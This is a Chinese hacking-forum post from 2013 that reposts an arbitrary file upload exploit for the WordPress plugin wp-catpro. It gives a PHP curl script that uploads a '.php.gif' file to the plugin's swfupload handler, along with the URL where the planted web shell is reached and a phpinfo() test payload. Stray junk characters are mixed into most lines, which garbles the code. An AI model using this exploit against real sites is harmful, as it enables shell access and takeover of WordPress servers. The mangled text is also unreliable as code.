找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2079|回复: 0
打印 上一主题 下一主题

WordPress插件wp-catpro任意文件上传

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-27 20:12:43 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
# Z& g0 T5 r* ^#-----------------------------------------------------------------------
6 m( H" v8 ^: {; x) X) q 5 `& Y- Q) ]1 y' I. V7 ?: Z
作者  => Zikou-160 s; [9 G( g. K0 p$ G
邮箱 => zikou16x@gmail.com3 d! u" W, F) y) m8 p' [
测试系统 : Windows 7 , Backtrack 5r3! Y. d8 P8 c$ S% P2 I* K" _
下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip# b: }( G. d- S! v9 t- ]
####
. u+ h+ X8 _! @7 c7 B% ?, @& r
5 H6 o* h; Z. J; z#=> Exploit 信息:. ~3 p* s7 }0 L
------------------/ J9 {' u+ o, C  ^, [
# 攻击者可以上传 file/shell.php.gif
* r8 ]: Q) [4 f  y# ("jpg", "gif", "png")  // Allowed file extensions% N! |# _$ Y4 h! [
# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
; G7 n+ C" V9 J3 A% p) A; C" X# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
$ t  d3 |! h0 [; {0 v: }0 \* b& K------------------
8 q3 J  [7 o3 q8 I! E6 U  H+ Q 3 N/ B; R- B* l
#=> Exploit/ z. G0 n! e4 E! e; D: O* Y$ `
-----------$ T! u) G+ g! q, f! \$ _* H
<?php' }  j0 q3 ^0 O
5 `6 r7 J( V2 s5 n
$uploadfile="zik.php.gif";
  `/ k8 b. k$ B! m& ]$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");1 }5 b9 c# r2 r, l
curl_setopt($ch, CURLOPT_POST, true);
- {& s; z# D) H* t, E7 scurl_setopt($ch, CURLOPT_POSTFIELDS,0 Z& V8 i% i! m& D) j
array('Filedata'=>"@$uploadfile",
  _8 _* B) m- V+ @: ?'folder'=>'/wp-content/uploads/catpro/'));) Q: u2 S6 Z4 y
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
, B; A* W/ t; p3 V" @6 f( V2 |$postResult = curl_exec($ch);
5 s- l2 @9 T: G) S+ ]& lcurl_close($ch);6 {3 q! Z5 U" U7 b( S% [2 a

% Q* i! G% w% \1 `$ O4 Eprint "$postResult";
" k) r! l. g1 I: F' g
$ n# r, p# k( @! Q" Y: r0 eShell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif) B4 ]1 }! b& l4 g4 |
  ?>3 n% f# I; n2 n( \. ~: J
<?php5 }# o: k4 E; e8 Y% J* `# `5 R7 T
phpinfo();) m8 p/ o- O/ g/ R: R$ P: W
?>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表